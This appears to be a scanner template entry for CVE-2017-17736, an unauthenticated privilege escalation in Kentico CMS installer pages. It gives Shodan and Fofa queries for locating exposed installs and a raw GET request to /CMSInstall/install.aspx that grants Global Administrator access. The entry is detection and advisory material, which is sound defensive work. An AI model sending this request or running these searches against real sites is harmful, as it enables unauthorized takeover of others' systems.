| Title | Kentico - Installer Privilege Escalation |
|---|---|
| Author | shiar |
| Severity | Critical |
| Impact | An attacker can gain administrative privileges on the Kentico CMS system. |
| Remediation | Upgrade to the latest version of Kentico CMS to fix the privilege escalation vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.92649 |
| CVE ID | CVE-2017-17736 |
| CWE ID | CWE-425 |
| Shodan Query | cpe:"cpe:2.3:a:kentico:kentico_cms"http.title:"kentico database setup" |
| Fofa Query | title="kentico database setup" |
| Tags | cve2017 cve kentico cms install unauth edb vuln |
Kentico 9.0 before 9.0.51 and 10.0 before 10.0.48 are susceptible to a privilege escalation attack. An attacker can obtain Global Administrator access by visiting CMSInstall/install.aspx and then navigating to the CMS Administration Dashboard.
GET /CMSInstall/install.aspx HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_4_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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